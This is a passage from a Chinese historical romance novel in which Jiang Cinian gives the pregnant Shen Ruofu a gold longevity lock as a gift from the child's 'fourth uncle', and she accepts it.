沈若芙摸了摸自己的肚子,浅笑道:“许是有了孩子的缘故吧,整个人胃口都好了不少。” “说起孩子……”江辞年从袖子里掏出一个锦袋,里头是一个用金子打的长命锁,十分精致,“这是我途径河北时给你的孩子买的礼物,等孩子出生了,代它四叔给它戴上。” 沈若芙看着那金灿灿的长命锁,却犹豫了。 江辞年道:“放心,这就是一把普通的长命锁,没有陷阱,我不过是担心我那小气的大哥知道了,不让你要,所以才提前给你。拿着吧,别浪费了孩子它四叔的一片心意。” 他一口一个孩子它四叔,沈若芙不接倒不合适了。她接过长命锁,道:“那我就代孩子谢过它四叔了。” “不客气。”江辞年把手背到身后,目光下移,看向飞雪手中的篮子。“这是什么?”